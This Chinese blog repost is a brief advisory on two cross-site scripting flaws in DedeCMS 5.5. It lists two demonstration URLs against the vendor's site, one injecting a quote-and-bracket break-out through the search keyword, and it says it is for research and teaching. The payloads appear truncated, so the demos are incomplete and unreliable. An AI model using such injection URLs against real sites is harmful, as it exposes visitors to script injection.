dedecms织梦 v5.5 两处跨站漏洞

本文整理自网络，侵删。

　　影响版本:

　　dedecms织梦5.5

　　漏洞描述:

　　demo1:http://www.dedecms.com/plus/search.php?keyword=%22>&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=&PageNo=2demo2:http://www.dedecms.com/plus/list.php?tid=6&TotalResult=&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2

　　测试方法:

　　本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

　　demo1:http://www.dedecms.com/plus/search.php?keyword=%22>&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=&PageNo=2demo2:http://www.dedecms.com/plus/list.php?tid=6&TotalResult=&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2

标签：织梦DedeCMS

相关阅读 >>

对帝国cms、dedecms、phpcms、discuz、phpwind、xiuno负载测试总结

dedecms教程之loop循环标签的使用详解

dedecms自定义联动类别调用及修改方法

针对织梦cms列表字段内可有可无的显示方法教程

织梦DedeCMSv5.x自动登录的方法

dedecms生成rrs绝对路径

dede二级域名(多站点)绑定详解

dedecms v5.7提示php.ini register_globals must is off错误的解决方法

dedecms做英文站修改方法

dede整合资料 注册部分脚本 可独立使用

更多相关阅读请进入《织梦DedeCMS》频道 >>

转载请注明出处：木庄网络博客 » dedecms织梦 v5.5 两处跨站漏洞